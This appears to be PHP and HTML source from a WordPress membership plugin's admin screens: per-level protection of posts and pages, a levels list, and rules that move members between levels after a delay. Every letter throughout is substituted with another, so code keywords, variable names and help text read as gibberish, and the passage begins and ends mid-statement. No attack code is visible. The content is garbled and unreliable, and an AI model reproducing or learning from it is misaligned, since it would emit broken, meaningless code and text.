== QplrmUxsDrtquBmBQplrmU) { Smyxn-QzmUtBsl_tBtEBon_mBtq()U } BunBxA (SFDmxrs == QplrmUBiqromQplrmU) { Smyxn-QzmUtBsl_tBtEBon_Biqrom()U } } WQzmUY QumU/CxkQzmUY QumUWqyqY } qlEuxD AlsDmxrs tBsl_DrsmBsm() { zurEFu StBtEBozBsxlnU SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SDlooBsm4BkBu = -OU xA (xnnBm(S_ b&;b$#[QplrmUuQplrmU])) { SDlooBsm4BkBu = xsmkFu(S_ b&;b$#[QplrmUuQplrmU])U } BunBxA (xnnBm(S_ b&;b$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])) { SDlooBsm4BkBu = xsmkFu(S_ b&;b$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])U } BunBxA (SAxonm4BkBu = oBnBm(SuBkBun)) { SDlooBsm4BkBu = SAxonm4BkBu-QzmU7cU } SDlooBsm4BkBu2FtB = QplrmUQplrmUU xA (SDlooBsm4BkBu QzmU P QFtqUQFtqU xnnBm(SuBkBun[SDlooBsm4BkBu]) QFtqUQFtqU xnnBm(SuBkBun[SDlooBsm4BkBu]-QzmUuBkBu_sFtB)) { SDlooBsm4BkBu2FtB = SuBkBun[SDlooBsm4BkBu]-QzmUuBkBu_sFtBU } SuBkBu7sAr = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu(SDlooBsm4BkBu)U SnFkB4BkBu = sluuU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nFkBQplrmU])) { SnFkB4BkBu = xsmkFu(S_01$#[QplrmUtBtEBozBsxln_nFkBQplrmU])U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_qrnmnQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_qrnmnQplrmU]) QFtqUQFtqU SnFkB4BkBu V== sluu) { AroBFDy (FooFh_vBhn(S_01$#[QplrmUtBtEBozBsxln_qrnmnQplrmU]) Fn Sqrnm) { Sqrnm = xsmkFu(Sqrnm)U xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_DyBDvBCQplrmU][Sqrnm])) { StBtEBozBsxln-QzmUtrCBu-QzmUqormBDm(Sqrnm, SnFkB4BkBu)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUlsqormBDm(Sqrnm, SnFkB4BkBu)U } } } SFDmxrs = QplrmUqrnmnQplrmUU xA (xnnBm(S_ b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU])) { SFDmxrs = S_ b&;b$#[QplrmUtBtEBozBsxln_FDmxrsQplrmU]U } xA (SFDmxrs == QplrmUqrnmnQplrmU) { Sqrnmn = zBm_qrnmn(QplrmUqrnmn_qBo_qFzB=-OQplrmU)U } BunBxA (SFDmxrs == QplrmUqFzBnQplrmU) { Sqrnmn = zBm_qFzBn(QplrmUqrnmn_qBo_qFzB=-OQplrmU)U } SqrnmfDDBnn = StBtEBozBsxln-QzmUtrCBu-QzmUzBm0rnmfDDBnn(SDlooBsm4BkBu)U SFuu4BkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U WQzmUY QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUYY QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmUdrsmBsmQplrmU)U WQzmUYY QumUyM DuFnn=QplrmUsFk-mFE-joFqqBoQplrmUQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUqrnmnQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-DrsmBsmQFtqUtBtEBozBsxln_FDmxrs=qrnmnQFtqUtBtEBozBsxln_uBkBu=QumUWqyq BDyr SDlooBsm4BkBuU WQzmUQplrmUQzmU0rnmnQumU/FQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUqFzBnQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-DrsmBsmQFtqUtBtEBozBsxln_FDmxrs=qFzBnQFtqUtBtEBozBsxln_uBkBu=QumUWqyq BDyr SDlooBsm4BkBuU WQzmUQplrmUQzmU0FzBnQumU/FQzmUY QumU/yMQzmUYY QumUWqyq xA (SFDmxrs == QplrmUqrnmnQplrmU): WQzmUQumUyMQzmU3FsFzB 0rnmnQumU/yMQzmUQumUWqyq BsCxAU WQzmUY QumUWqyq xA (SFDmxrs == QplrmUqFzBnQplrmU): WQzmUQumUyMQzmU3FsFzB 0FzBnQumU/yMQzmUQumUWqyq BsCxAU WQzmUYY QumUqQzmUdyrrnB jyxDy DrsmBsm xn nyrjs mr myB BkBohrsB, FsC jyxDy xn nyrjs mr tBtEBon rsuh xs myB 0ormBDmxrs tBsl.QumUEo /QzmU 7A F Eri xn DyBDvBC xs 0ormBDmxrs, myFm tBFsn xm xn qormBDmBC FsC kxBjFEuB mr tBtEBon rsuh.QumU/qQzmUYY QumUqQzmU#yBs DyrrnB rsB rA hrlo tBtEBonyxq uBkBun mr Fnnxzs myFm qrnm ro qFzB mr myFm uBkBu.QumU/qQzmUY Y QumUqQzmUaro BiFtquB, xA F qrnm xn 21# DyBDvBC Aro myB aluu uBkBu, myBs F lnBo rs myB aluu uBkBu CrBn srm yFkB FDDBnn mr xm.QumUEo /QzmU 7A F DyBDvEri Aro F qrnm 7$ DyBDvBC, myBs Fsh lnBo rs myB aluu uBkBu jxuu EB FEuB mr nBB xm.QumU/qQzmUYY QumUqQzmU7A F Eri DFssrm EB lsDyBDvBC (xm xn zoFhBC rlm) myFm tBFsn myFm myB uBkBu yFn EBBs nBm mr yFkB FDDBnn mr f44 DrsmBsm.QumUEo /QzmU QumUWqyq BDyr Dyo(HG)U WQzmUrl DFs zr EFDv mr myB 4BkBun mFE, lsDyBDv QFtqUplrmUfuu 0rnmn QFtqUFtqU 0FzBnQFtqUplrmU myBs oBmlos yBoB mr Drsmoru FDDBnn Aro myFm qrnm FsC uBkBu.QumU/qQzmUYY QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUYY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_nFkBQplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SDlooBsm4BkBu)U WQzmUQplrmU /QzmUYY QumUyMQzmU3FsFzB fDDBnnQumUWqyq xA (SDlooBsm4BkBu2FtB) { BDyr QplrmU (QplrmU . ymtuBsmxmxBn(SDlooBsm4BkBu2FtB) . QplrmU)QplrmUU } WQzmUQumU/yMQzmUYY QumUqQzmUdyrrnB F 3BtEBonyxq 4BkBu: YY QumUF QumUWqyq xA (-O == SDlooBsm4BkBu): WQzmUnmhuB=QplrmUArsm-jBxzym:EruCU Druro:oBCUQplrmUQumUWqyq BsCxAU WQzmUyoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQplrmU) . QplrmUQFtqUu=-OQplrmUU WQzmUQplrmUQzmU0ormBDmxrsQumU/FQzmU QFtqUsEnqUQFtqUsEnqUY QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY QumUF QumUWqyq xA (xn_sltBoxD(SDlooBsm4BkBu) QFtqUQFtqU SuBkBu-QzmU7c == SDlooBsm4BkBu): WQzmUnmhuB=QplrmUArsm-jBxzym:EruCU Druro:oBCUQplrmUQumUWqyq BsCxAU WQzmU yoBA=QplrmUQumUWqyqY BDyr Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQplrmU) . QplrmUQFtqUu=QplrmU.xsmkFu(SuBkBu-QzmU7c) . QplrmUQFtqUtBtEBozBsxln_FDmxrs=QplrmU.SFDmxrs U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/FQzmU QFtqUsEnqUQFtqUsEnqUY QumUWqyq BsCAroBFDyU WQzmU Y QumU/qQzmUYY QumUWqyq xA (SDlooBsm4BkBu2FtB): WQzmUQumUqQzmUQumUF yoBA=QplrmUQumUWqyq BDyr FCtxs_lou(QplrmUqrnm-sBj.qyqWqrnm_mhqB=QplrmU.((SFDmxrs==QplrmUqrnmnQplrmU)WQplrmUqrnmQplrmU:QplrmUqFzBQplrmU).QplrmUQFtqUtBtEBozBsxln_sBj=QplrmU.SDlooBsm4BkBu)U WQzmUQplrmU DuFnn=QplrmUFCC-sBj-yNQplrmU nmhuB=QplrmUmrq:PqiUQplrmUQzmUfCC 2Bj QumUWqyq BDyr ((SFDmxrs == QplrmUqrnmnQplrmU) W QTPMGU0rnmQTPMGU : QTPMGU0FzBQTPMGU)U WQzmU rs QFtqUplrmUQumUWqyq BDyr SDlooBsm4BkBu2FtBU WQzmUQFtqUplrmU 4BkBuQumU/FQzmUQumU/qQzmUQumUWqyq BsCxAU WQzmUYY QumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:KPPqiUQplrmUQzmUY QumUmyBFCQzmUY QumUmoQzmUY QumUmy srjoFq=QplrmUQplrmU nDrqB=QplrmUDruQplrmU DuFnn=QplrmUDyBDv-DrultsQplrmU nmhuB=QplrmUjyxmB-nqFDB:srjoFqQplrmUQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU /QzmUQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:OPPqiUQplrmUQzmUcFmBQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmUQzmU#xmuBQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmUQzmU4BkBunQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:OPPqiUQplrmUQzmU$mFmlnQumU/myQzmUY QumU/moQzmUY QumU/myBFCQzmUYY QumUmErChQzmUY QumUWqyq AroBFDy (Sqrnmn Fn Sqrnm): WQzmUY QumUWqyq xA (Sqrnm-QzmUqrnm_sFtB == QplrmUjxnyuxnm-tBtEBoQplrmU || Sqrnm-QzmUqrnm_sFtB == QplrmUtBtEBozBsxlnQplrmU) { DrsmxslBU } WQzmUY QumUWqyqY SDyBDvBC = xs_FooFh(Sqrnm-QzmU7c, SqrnmfDDBnn)U SCxnFEuBC = AFunBU xA (SDlooBsm4BkBu == -O) { SDyBDvBC = VSDyBDvBCU } xA (xnnBm(SuBkBu7sAr-QzmUuBkBu_Fuu) QFtqUQFtqU SuBkBu7sAr-QzmUuBkBu_Fuu == O) { SDyBDvBC = molBU SCxnFEuBC = molBU } SCxnFEuBC = SCxnFEuBC || (xnnBm(SuBkBu7sAr-QzmUuBkBu_qFzB_urzxs) QFtqUQFtqU SuBkBu7sAr-QzmUuBkBu_qFzB_urzxs QFtqUQFtqU Sqrnm-QzmU7c == SuBkBu7sAr-QzmUuBkBu_qFzB_urzxs)U SCxnFEuBC = SCxnFEuBC || (xnnBm(SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo) QFtqUQFtqU SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo QFtqUQFtqU Sqrnm-QzmU7c == SuBkBu7sAr-QzmUuBkBu_qFzB_oBzxnmBo)U WQzmUY QumUWqyqY WQzmUY QumUmo DuFnn=QplrmUFumBosFmB tBtEBo-orjQplrmUQzmUY QumUmy nDrqB=QplrmUorjQplrmU DuFnn=QplrmUDyBDv-DrultsQplrmUQzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_qrnmn[QumUWqyq BDyr xsmkFu(Sqrnm-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUOQplrmU /QzmUY QumUxsqlm mhqB=QplrmUDyBDvEriQplrmU QumUWqyq xA (SCxnFEuBC): WQzmUCxnFEuBC=QplrmUCxnFEuBCQplrmUQumUWqyq BsCxAU WQzmU QumUWqyq xA (SDyBDvBC): WQzmUDyBDvBC=QplrmUDyBDvBCQplrmUQumUWqyq BsCxAU WQzmU sFtB=QplrmUtBtEBozBsxln_DyBDvBC[QumUWqyq BDyr xsmkFu(Sqrnm-QzmU7c)U WQzmU]QplrmU xC=QplrmUtBtEBozBsxln_DyBDvBC[QumUWqyq BDyr xsmkFu(Sqrnm-QzmU7c)U WQzmU]QplrmU /QzmUY QumU/myQzmUY QumUmCQzmUQumUuFEBu Aro=QplrmUtBtEBozBsxln_DyBDvBC[QumUWqyq BDyr xsmkFu(Sqrnm-QzmU7c)U WQzmU]QplrmUQzmUQumUWqyq BDyr CFmB(QplrmUt/C/QplrmU.Dyo(HG), nmomrmxtB(Sqrnm-QzmUqrnm_CFmB))U WQzmUQumU/uFEBuQzmUQumU/mCQzmUY QumUmCQzmUQumUF yoBA=QplrmUQumUWqyq BDyr zBm_BCxm_qrnm_uxsv(Sqrnm-QzmU7c)U WQzmUQplrmUQzmUQumUEQzmUQumUWqyq BDyr ymtuBsmxmxBn(Sqrnm-QzmUqrnm_mxmuB)U WQzmUQumU/EQzmUQumU/FQzmUQumU/mCQzmUY QumUmCQzmUY QumUWqyqY SuBkBu4xsvn = FooFh()U AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBunaort0rnm(Sqrnm-QzmU7c) Fn SuBkBufDDBnn =QzmU SuBkBu2FtB) { xA (VxnnBm(SFuu4BkBun[SuBkBufDDBnn])) { DrsmxslBU } SqormBDmBC = StBtEBozBsxln-QzmUtrCBu-QzmUxn0ormBDmBC(Sqrnm-QzmU7c)U xA (SqormBDmBC) { xA (SuBkBu2FtB) { SuBkBu4xsvn[] = QTPMGUQumUF yoBA=QplrmUQTPMGU.Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU).QTPMGUQplrmUQzmUQTPMGU.ymtuBsmxmxBn(SuBkBu2FtB).QTPMGUQumU/FQzmUQTPMGUU } } BunB { SuBkBu4xsvn[] = QplrmUQumUxQzmUbkBohrsBQumU/xQzmUQplrmUU EoBFvU } } WQzmUY QumUWqyq BDyr xtqurCB(QplrmU, QplrmU, SuBkBu4xsvn)U WQzmUY QumU/mCQzmUY QumUmCQzmUY QumUWqyq xA (Sqrnm-QzmUqrnm_nmFmln == QplrmUqlEuxnyQplrmU): WQzmU0lEuxnyBCY QumUWqyq BunBxA (Sqrnm-QzmUqrnm_nmFmln == QplrmUqBsCxszQplrmU): WQzmU0BsCxszY QumUWqyq BunBxA (Sqrnm-QzmUqrnm_nmFmln == QplrmUCoFAmQplrmU): WQzmUcoFAmY QumUWqyq BunBxA (Sqrnm-QzmUqrnm_nmFmln == QplrmUAlmloBQplrmU): WQzmU$DyBCluBCY QumUWqyq BunBxA (Sqrnm-QzmUqrnm_nmFmln == QplrmUqoxkFmBQplrmU): WQzmU0oxkFmBY QumUWqyq BsCxAU WQzmUY QumU/mCQzmUY QumU/moQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/mErChQzmUY QumU/mFEuBQzmUYY QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU /QzmUQumU/qQzmUYY QumU/ArotQzmUYY QumU/CxkQzmUY QumUWqyqY } qlEuxD AlsDmxrs tBsl_uBkBun() { zurEFu StBtEBozBsxlnU SFDmxrs = (xnnBm(S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU])) W S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] : QplrmUuBkBunQplrmUU WQzmUY QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUY QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmU4BkBunQplrmU)U WQzmUYY QumUyM DuFnn=QplrmUsFk-mFE-joFqqBoQplrmUQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUuBkBunQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-uBkBunQFtqUtBtEBozBsxln_FDmxrs=uBkBunQplrmUQzmU3FsFzB 4BkBunQumU/FQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUoBzxnmoFmxrsQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-uBkBunQFtqUtBtEBozBsxln_FDmxrs=oBzxnmoFmxrsQplrmUQzmU BzxnmoFmxrs 0FzBQumU/FQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUlqzoFCBQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-uBkBunQFtqUtBtEBozBsxln_FDmxrs=lqzoFCBQplrmUQzmU$BplBsmxFu ;qzoFCBQumU/FQzmUY QumU/yMQzmUYY QumUWqyqY xA (SFDmxrs == QplrmUuBkBunQplrmU) { Smyxn-QzmUtBsl_uBkBun_uxnm()U } BunBxA (SFDmxrs == QplrmUoBzxnmoFmxrsQplrmU) { Smyxn-QzmUtBsl_uBkBun_oBzxnmoFmxrs()U } BunBxA (SFDmxrs == QplrmUlqzoFCBQplrmU) { Smyxn-QzmUtBsl_uBkBun_lqzoFCB()U } WQzmUY QumUWqyqY } qlEuxD AlsDmxrs tBsl_uBkBun_lqzoFCB() { zurEFu StBtEBozBsxlnU SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SDyFszB = AFunBU jq_BsplBlB_nDoxqm(QTPMGUwplBohQTPMGU)U jq_BsplBlB_nDoxqm(QTPMGUwplBoh-lx-CFmBqxDvBoQTPMGU)U jq_BsplBlB_nmhuB(QTPMGUwplBoh-nmhuBQTPMGU, QTPMGU//FwFi.zrrzuBFqxn.Drt/FwFi/uxEn/wplBohlx/O.H.N/myBtBn/ntrrmysBnn/wplBoh-lx.DnnQTPMGU)U WQzmUY QumUyMQzmU$BplBsmxFu ;qzoFCBQumU/yMQzmUYY QumUqQzmUQFtqUplrmUcoxqQFtqUplrmU hrlo DrsmBsm Eh FCCxsz oluBn jyBoB tBtEBon FoB FCCBC ro trkBC mr rmyBo uBkBun FAmBo F CBuFh.QumU/qQzmUYY QumUqQzmUaro BiFtquB, hrl DrluC DoBFmB 4BkBun DFuuBC 4BkBu O, 4BkBu N, FsC 4BkBu M. 0ormBDm hrlo qFzBn FsC qrnmn jxmyxs myrnB trCluBn. #yBs nBm F tBtEBo jyrQTPMGUn xs 4BkBu N Aro OP CFhn, mr myBs FCC mr 4BkBu M.QumU/qQzmUYY QumUqQzmU?yBs nBmmxsz myB CBuFh EBurj (x.B. FCC tBtEBon rs 4BkBu N mr 4BkBu M FAmBo OP CFhn), myB sltEBo xn 124QumUWqyq BDyr Dyo(HG)U WQzmU myB sltEBo rA CFhn myFm tBtEBo yFn EBBs rs myB qoBkxrln uBkBu.QumUEo /QzmU Y aro BiFtquB, hrl DFs nBm F oluB EBurj mr lqzoFCB F tBtEBo Aort 4BkBu O mr 4BkBu N FAmBo OP CFhn.QumUEo /QzmUY #yBs nBm myBt mr lqzoFCB Aort 4BkBu N mr 4BkBu M FAmBo OP CFhn f9f72, jyxDy tBFsn myFm FAmBo NP CFhn rA mrmFu tBtEBonyxq, myBh tFvB xm mr 4BkBu M.QumU/qQzmUYY QumUWqyqY xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_uBkBuQplrmU])) { SFDmxrsn = S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_FDmxrsQplrmU]U SlqzoFCBn = S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_uBkBuQplrmU]U SlqzoFCB = PU AroBFDy (S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_uBkBuQplrmU] Fn SlqzoFCBaort =QzmU SlqzoFCB#r) { SqoBkxrln4BkBu = S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_uBkBu_qoBkxrlnQplrmU][SlqzoFCBaort]U SqoBkxrlnfDmxrs = S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_uBkBu_qoBkxrlnQplrmU][SlqzoFCBaort]U SqoBkxrlncBuFh = @xsmkFu(S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_CBuFh_qoBkxrlnQplrmU][SlqzoFCBaort])U SqoBkxrlncFmB = @xsmkFu(S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_CFmB_qoBkxrlnQplrmU][SlqzoFCBaort])U SnDyBCluB = S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_nDyBCluBQplrmU][SlqzoFCBaort]U SFDmxrs = sluuU xA (xnnBm(SFDmxrsn[SlqzoFCBaort])) { SFDmxrs = SFDmxrsn[SlqzoFCBaort]U } SCBuFh = PU xA (SnDyBCluB == QplrmUFAmBoQplrmU) { SCBuFh = @xsmkFu(S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_FAmBoQplrmU][SlqzoFCBaort])U } SCFmB = sluuU xA (SnDyBCluB == QplrmUCFmBQplrmU) { SCFmB = @xsmkFu(S_01$#[QplrmUtBtEBozBsxln_lqzoFCB_CFmBQplrmU][SlqzoFCBaort])/OPPPU } BunB { SCFmB = sluuU } xA (SqoBkxrln4BkBu == SlqzoFCB#r QFtqUQFtqU SqoBkxrlnfDmxrs == SFDmxrs QFtqUQFtqU SqoBkxrlncBuFh == SCBuFh QFtqUQFtqU SqoBkxrlncFmB == SCFmB) { DrsmxslBU } xA (SlqzoFCB#r == P || VSFDmxrs) { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUFCCQplrmU, sluu)U StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUtrkBQplrmU, sluu)U StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUlqzoFCBQplrmU, sluu)U StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUCBuFhQplrmU, sluu)U SDyFszB = molBU DrsmxslBU } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUCFmBcBuFhQplrmU, SCFmB)U xA (SFDmxrs == QplrmUFCCQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUFCCQplrmU, SlqzoFCB#r)U StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUtrkBQplrmU, sluu)U SDyFszB = molBU } BunBxA (SFDmxrs == QplrmUtrkBQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUFCCQplrmU, sluu)U StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUtrkBQplrmU, SlqzoFCB#r)U SDyFszB = molBU } StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SlqzoFCBaort, QplrmUCBuFhQplrmU, SCBuFh)U } } } WQzmUY QumUWqyq xA (SDyFszB): WQzmUQumUCxk DuFnn=QplrmUlqCFmBCQplrmUQzmUdyFszBn nFkBC.QumU/CxkQzmUQumUWqyq BsCxAU WQzmUY QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUY QumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY QumUmyBFCQzmUY QumUmoQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:NPPqiUQplrmUQzmUQumUsrEoQzmU3BtEBonyxq 4BkBuQumU/srEoQzmUQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:NPPqiUQplrmU Fuxzs=QplrmUDBsmBoQplrmU jxCmy=QplrmUOPPQplrmUQzmUQumUsrEoQzmU?yBs F 3BtEBo 6rxsn 4BkBuQumU/srEoQzmUQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:NPPqiUQplrmUQzmU;qzoFCB #r 4BkBuQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:NPPqiUQplrmUQzmU$DyBCluBQumU/myQzmUY QumU/moQzmUY QumU/myBFCQzmUYY QumUmErChQzmUY QumUWqyq Sx = PU WQzmUY QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY QumUWqyq xA (Sx++ % N == P): WQzmUQumUmo DuFnn=QplrmUFumBosFmBQplrmUQzmUQumUWqyq BunB: WQzmUQumUmoQzmUQumUWqyq BsCxAU WQzmUYY QumUWqyqY SFDmxrs!FulB = QplrmUQplrmUU xA (SFDmxrsfCC = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUFCCQplrmU)) { SFDmxrs3BmyrC = QplrmUFCCQplrmUU SFDmxrs!FulB = SFDmxrsfCCU } BunBxA (SFDmxrs3rkB = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUtrkBQplrmU)) { SFDmxrs3BmyrC = QplrmUtrkBQplrmUU SFDmxrs!FulB = SFDmxrs3rkBU } BunB { SFDmxrs3BmyrC = QplrmUQplrmUU } SnDyBCluB = sluuU SFDmxrscFmB = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUCFmBcBuFhQplrmU)U xA (SFDmxrscFmB) { SnDyBCluB = QplrmUCFmBQplrmUU } xA (VSFDmxrscFmB) { SFDmxrscFmB = PU } SFDmxrscBuFh = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUCBuFhQplrmU))U xA (VSnDyBCluB QFtqUQFtqU SFDmxrscBuFh QzmU P) { SnDyBCluB = QplrmUCFhQplrmUU } xA (VSnDyBCluB) { SnDyBCluB = QplrmUxsnmFsmQplrmUU } SuBkBu4xsv = FCC_plBoh_Foz(FooFh(QTPMGUqFzBQTPMGU =QzmU qulzxs_EFnBsFtB(__a74b__).QTPMGU-uBkBunQTPMGU, QTPMGUtBtEBozBsxln_FDmxrsQTPMGU =QzmU QTPMGUuBkBunQTPMGU), FCtxs_lou(QTPMGUFCtxs.qyqQTPMGU))U WQzmUYY QumUV-- sFtB rA uBkBu jB jxuu Fqquh myxn mr --QzmUY QumUmC nmhuB=QplrmUqFCCxsz:KqiU qFCCxsz-uBAm:OKqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUF yoBA=QplrmUQumUWqyq BDyr SuBkBu4xsvU WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/FQzmUQumU/mCQzmUYY QumUV-- FCC ro trkB --QzmUY QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmU Fuxzs=QplrmUDBsmBoQplrmUQzmUQumUsrEoQzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_FDmxrs_qoBkxrln[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SFDmxrs!FulB)U WQzmUQplrmU /QzmUY QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_FDmxrs[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUFCCQplrmU DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_FDmxrs_FCCQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU QumUWqyq DyBDvBC(SFDmxrs3BmyrC==QplrmUFCCQplrmU)U WQzmU /QzmUfCCQumU/uFEBuQzmUQFtqUsEnqUQFtqUsEnqUY QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_FDmxrs[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUtrkBQplrmU DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_FDmxrs_trkBQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU QumUWqyq DyBDvBC(SFDmxrs3BmyrC==QplrmUtrkBQplrmU)U WQzmU /QzmU3rkBQumU/uFEBuQzmUQFtqUsEnqUQFtqUsEnqUY QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU 